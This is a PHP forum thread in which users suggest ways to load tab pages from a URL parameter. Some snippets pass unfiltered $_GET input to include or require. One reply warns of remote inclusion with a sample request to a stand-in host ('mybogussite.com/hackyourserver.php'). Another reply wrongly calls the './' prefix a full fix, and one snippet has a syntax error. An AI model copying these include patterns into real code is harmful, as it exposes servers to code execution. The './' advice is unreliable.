call another function in same page..

  • nrsh_ram
  • Novice
  • Novice
  • nrsh_ram
  • Posts: 30
  • Loc: malaysia

Post 3+ Months Ago

hello to all,
im new to php..
i need help...i learn a simple thing through php tutorials in net..

i have create a features_hod.php where have 4 tabs "profile,forms,report,search"...each tab have different functions:

eg:'profile->update,preview' 'forms->consultation,discussion,activity,attendance 'report->all,differ,active,withdraw,graduate' 'search->directly open the search form'

for example when i click the profile tab..it will show two function 'update n preview', for calling this functions...im using this coding

Code: [ Select ]
<?php
if (isset($_GET['pg']) && $_GET['pg'] != "") {
$pg = $_GET['pg'];
if (file_exists(''.$pg.'.php')) {
@include (''.$pg.'.php');

} elseif (!file_exists(''.$pg.'.php')) {
echo 'Page you are requesting doesn´t exist';
}

} else {
@include ('main/Features_HOD.php');
}
?>
  1. <?php
  2. if (isset($_GET['pg']) && $_GET['pg'] != "") {
  3. $pg = $_GET['pg'];
  4. if (file_exists(''.$pg.'.php')) {
  5. @include (''.$pg.'.php');
  6. } elseif (!file_exists(''.$pg.'.php')) {
  7. echo 'Page you are requesting doesn´t exist';
  8. }
  9. } else {
  10. @include ('main/Features_HOD.php');
  11. }
  12. ?>


by using this coding each tab can call own function, my problem is..how to i call the pages of this functions? i want if i click on 'update' it will show the update page, and wen i click on 'preview' it will show preview page...what is the coding? i really no idea...please help
  • Anonymous
  • Bot
  • No Avatar
  • Posts: ?
  • Loc: Ozzuland
  • Status: Online

Post 3+ Months Ago

  • Bogey
  • Genius
  • Genius
  • Bogey
  • Posts: 8388
  • Loc: USA

Post 3+ Months Ago

If I understand what you mean, I would go doing it like this...

PHP Code: [ Select ]
<?php
switch{$_GET['pg'])
{
   case null:
      include 'default.php';
   break;
   case 'profile':
      include 'profile.php';
   break;
   case 'forms':
      include 'forms.php';
   break;
   case 'report':
      include 'report.php';
   break;
   case 'search':
      include 'search.php';
   break;
}
?>
  1. <?php
  2. switch{$_GET['pg'])
  3. {
  4.    case null:
  5.       include 'default.php';
  6.    break;
  7.    case 'profile':
  8.       include 'profile.php';
  9.    break;
  10.    case 'forms':
  11.       include 'forms.php';
  12.    break;
  13.    case 'report':
  14.       include 'report.php';
  15.    break;
  16.    case 'search':
  17.       include 'search.php';
  18.    break;
  19. }
  20. ?>

Hope that this helps.
  • spork
  • Brewmaster
  • Silver Member
  • User avatar
  • Posts: 6251
  • Loc: Seattle, WA

Post 3+ Months Ago

Ick. Switch blocks. There's a simpler way:

Code: [ Select ]
<?php

$page = empty($_GET['pg']) ? 'default' : $_GET['pg'];
require($page . '.php');

?>
  1. <?php
  2. $page = empty($_GET['pg']) ? 'default' : $_GET['pg'];
  3. require($page . '.php');
  4. ?>
  • may
  • Proficient
  • Proficient
  • User avatar
  • Posts: 328
  • Loc: Holland [NL]

Post 3+ Months Ago

Does anyone consider security nowadays? How about this request?

?pg=http://mybogussite.com/hackyourserver.php

It will be included and more importantly executed on the server thats handling the include. So effectively if your unlucky and a internet worm is starting to beat your website... One of these might eventually work...

To answer the initial question. If i understand you correcly this is what you want.

You have some page that is part of the main navigation (lets call that lvl 1) and this page has multiple tabs (wich are actually different pages but look the same through your tabbed view) lets call that lvl 2.

So now you want to "store" the lvl 1 location and enable yourself to browse different pages on lvl 2.

In my example we have a contact page that enables the visitor to view multiple contact channels within the contacts page.
Code: [ Select ]
(LVL 1)
Home
Updates
Contact (LVL 2 [tabs] )
         Mail
         Addresses
         Telephone
         Website(s)
         Other
  1. (LVL 1)
  2. Home
  3. Updates
  4. Contact (LVL 2 [tabs] )
  5.          Mail
  6.          Addresses
  7.          Telephone
  8.          Website(s)
  9.          Other


So effectivly i would do something like this.

LVL1 is all that is loaded from the index page like your example. Ie.

Code: [ Select ]
<?php
/* index.php */

/* Lets define some basic stuff for this example...*/
$BaseUrl = './';
$PHPExt = '.php';
$NotFoundPage = '404.php';
$MainPage = 'home.php';


/* Lets get some Uris if any */

if(isset($_POST['lvl1']) || isset($_GET['lvl1'))){
     $LVL1_NAV = (isset($_GET['lvl1'])) ? $_GET['lvl1'] : $_POST['lvl1'];
}else{
     $LVL1_NAV = null;
}

/* Lets handle the request if any */
if(!empty($LVL1_NAV)){
     if(file_exists($BaseUrl.$LVL1_NAV.$PHPExt)){
         @require_once($BaseUrl.$LVL1_NAV.$PHPExt);
     }else{
         // We have a request, it might be a broken link so lets report that...
         @require_once($BaseUrl.$NotFoundPage);
     }
}else{
@require_once($BaseUrl.$MainPage);
}
?>
  1. <?php
  2. /* index.php */
  3. /* Lets define some basic stuff for this example...*/
  4. $BaseUrl = './';
  5. $PHPExt = '.php';
  6. $NotFoundPage = '404.php';
  7. $MainPage = 'home.php';
  8. /* Lets get some Uris if any */
  9. if(isset($_POST['lvl1']) || isset($_GET['lvl1'))){
  10.      $LVL1_NAV = (isset($_GET['lvl1'])) ? $_GET['lvl1'] : $_POST['lvl1'];
  11. }else{
  12.      $LVL1_NAV = null;
  13. }
  14. /* Lets handle the request if any */
  15. if(!empty($LVL1_NAV)){
  16.      if(file_exists($BaseUrl.$LVL1_NAV.$PHPExt)){
  17.          @require_once($BaseUrl.$LVL1_NAV.$PHPExt);
  18.      }else{
  19.          // We have a request, it might be a broken link so lets report that...
  20.          @require_once($BaseUrl.$NotFoundPage);
  21.      }
  22. }else{
  23. @require_once($BaseUrl.$MainPage);
  24. }
  25. ?>


Code: [ Select ]
<?php
/* Contact.php */

if(isset($_POST['lvl2']) || isset($_GET['lvl2'))){
     $LVL2_NAV = (isset($_GET['lvl2'])) ? $_GET['lvl2'] : $_POST['lvl2'];
}else{
     $LVL2_NAV = null;
}

// Show the different tabs ? //
if(!$LVL2_NAV){
echo "These are your contact options...\r\n";
}elseif($LVL2_NAV == 'Email'){
echo "Our Email Address\r\n";
}elseif($LVL2_NAV == 'Address'){
echo "Our Addresses\r\n";
}else{
echo "tab not found, please select one out of the available tabs in your screen\r\n";
}
?>
  1. <?php
  2. /* Contact.php */
  3. if(isset($_POST['lvl2']) || isset($_GET['lvl2'))){
  4.      $LVL2_NAV = (isset($_GET['lvl2'])) ? $_GET['lvl2'] : $_POST['lvl2'];
  5. }else{
  6.      $LVL2_NAV = null;
  7. }
  8. // Show the different tabs ? //
  9. if(!$LVL2_NAV){
  10. echo "These are your contact options...\r\n";
  11. }elseif($LVL2_NAV == 'Email'){
  12. echo "Our Email Address\r\n";
  13. }elseif($LVL2_NAV == 'Address'){
  14. echo "Our Addresses\r\n";
  15. }else{
  16. echo "tab not found, please select one out of the available tabs in your screen\r\n";
  17. }
  18. ?>


Now if you create these files the nav would work something like this.

index.php?lvl1=contact&lvl2=Email
index.php?lvl1=contact&lvl2=Address

where lvl2 would be your tabs. These could also be includes, for this example i am using echoes.

Rgds.
  • Bogey
  • Genius
  • Genius
  • Bogey
  • Posts: 8388
  • Loc: USA

Post 3+ Months Ago

may wrote:
Does anyone consider security nowadays? How about this request?

?pg=http://mybogussite.com/hackyourserver.php

It will be included and more importantly executed on the server thats handling the include. So effectively if your unlucky and a internet worm is starting to beat your website... One of these might eventually work...

I don't see that happening with my example... I think my way is easy and pretty secure... Maybe I don't see something.. teach me.
  • spork
  • Brewmaster
  • Silver Member
  • User avatar
  • Posts: 6251
  • Loc: Seattle, WA

Post 3+ Months Ago

It doesn't happen with yours Bogey, but does with mine. I overlooked the security when posting my example, which, in retrospect I should've included it.

The downside to using a switch block the way you did is that the code becomes less scalable, and the code repetition for every case is considered redundant.
  • may
  • Proficient
  • Proficient
  • User avatar
  • Posts: 328
  • Loc: Holland [NL]

Post 3+ Months Ago

Hehe :)

Both are correct, and we are all wrong ;) I dont know what he is trying to do exactly or how "smart" and "exclusive" the solution should be in the long run. But i do know we all are trying to help him as good as we can... :)

And indeed bogey, you example is save, whereas spork only needed to add the './' in the include('./'.$page.'.php'); to make his one save ;)
  • Truce
  • Guru
  • Guru
  • Truce
  • Posts: 1477
  • Loc: Washington DC

Post 3+ Months Ago

Spork, this will do the same trick but with less redundancy. You still need to put some work in by cataloging all of the pages, though. It's either that or you're not too secure. Of course, you can also setup a database to handle this and make yourself a real nice admin panel, but when you're talking about efficiency, this makes more sense.

Code: [ Select ]
$go = isset($_GET['go']) ? $_GET['go'] : 'home';
 
$pages = array(
'home' => './index.php',
'galleries' => './galleries.php',
'cart' => './cart.php',
'contact' => './contact.php',
);
 
$page = $pages[$go] ? $pages[$go] : ('' == $go ? './index.php' : './404.php');
 
// handle transition to $page
 
  1. $go = isset($_GET['go']) ? $_GET['go'] : 'home';
  2.  
  3. $pages = array(
  4. 'home' => './index.php',
  5. 'galleries' => './galleries.php',
  6. 'cart' => './cart.php',
  7. 'contact' => './contact.php',
  8. );
  9.  
  10. $page = $pages[$go] ? $pages[$go] : ('' == $go ? './index.php' : './404.php');
  11.  
  12. // handle transition to $page
  13.  
  • spork
  • Brewmaster
  • Silver Member
  • User avatar
  • Posts: 6251
  • Loc: Seattle, WA

Post 3+ Months Ago

I agree, I was merely talking about the switch block, which I usually avoid unless I find it to be absolutely necessary.
  • joebert
  • Fart Bubbles
  • Genius
  • User avatar
  • Posts: 13502
  • Loc: Florida

Post 3+ Months Ago

You know I was just thinking, and now that I think about it, I never have an application work that way when I start it myself.

I use separate application pages, like "index.php", "something.php", etc, and I have each of those application pages include a single, or a small handfull of common includes to handle stuff like magic_quotes and working around missing functions like the stream functions/etc.

Past that I think the only includes I'm doing are going through __autoload and within that I don't let anything with characters other than letters, numbers, and an underscore through to the actual including.

I tend to do like Truce did when I need to screen something the visitor sends me though, but I like to use "isset($var)?" or "empty($var)?" instead of just "$var?". Maybe just an oversight onTruces part though, along with that oddball "e" in there. :)
  • spork
  • Brewmaster
  • Silver Member
  • User avatar
  • Posts: 6251
  • Loc: Seattle, WA

Post 3+ Months Ago

I like to let Cake take care of everything :)
  • Truce
  • Guru
  • Guru
  • Truce
  • Posts: 1477
  • Loc: Washington DC

Post 3+ Months Ago

joebert wrote:
You know I was just thinking, and now that I think about it, I never have an application work that way when I start it myself.

I use separate application pages, like "index.php", "something.php", etc, and I have each of those application pages include a single, or a small handfull of common includes to handle stuff like magic_quotes and working around missing functions like the stream functions/etc.

Past that I think the only includes I'm doing are going through __autoload and within that I don't let anything with characters other than letters, numbers, and an underscore through to the actual including.

I tend to do like Truce did when I need to screen something the visitor sends me though, but I like to use "isset($var)?" or "empty($var)?" instead of just "$var?". Maybe just an oversight onTruces part though, along with that oddball "e" in there. :)


If you mean a page to handle which page you're on via includes, I don't really like it much either but it has two big perks. To start, it allows you to use mod_rewrite fairly easily. I don't like having to edit .htaccess every time that I want to add a page or make a change, and redirecting to [input].php just isn't really my cup of tea.

Second, it allows you to change the names of your PHP files, move their location, and add aliases all with sufficient ease. Again, something that I feel is worth the extra tackiness.

I never use isset unless I want to know if the variable has been instantiated regardless of content.
PHP Code: [ Select ]
$var = '';
 
echo isset($var) ? 'Cupcakes!' : 'No cupcakes.'; // Cupcakes!
  1. $var = '';
  2.  
  3. echo isset($var) ? 'Cupcakes!' : 'No cupcakes.'; // Cupcakes!

Empty is nearly exactly the same as using just the variable name. As long as you understand the logic behind how PHP handles conditional statements that are just a variable, though, they're just as predictable as using either of the functions above.

Oddball 'e' fixed. :)

Post Information

  • Total Posts in this topic: 12 posts
  • Users browsing this forum: No registered users and 124 guests
  • You cannot post new topics in this forum
  • You cannot reply to topics in this forum
  • You cannot edit your posts in this forum
  • You cannot delete your posts in this forum
  • You cannot post attachments in this forum
 
 

© 1998-2014. Ozzu® is a registered trademark of Unmelted, LLC.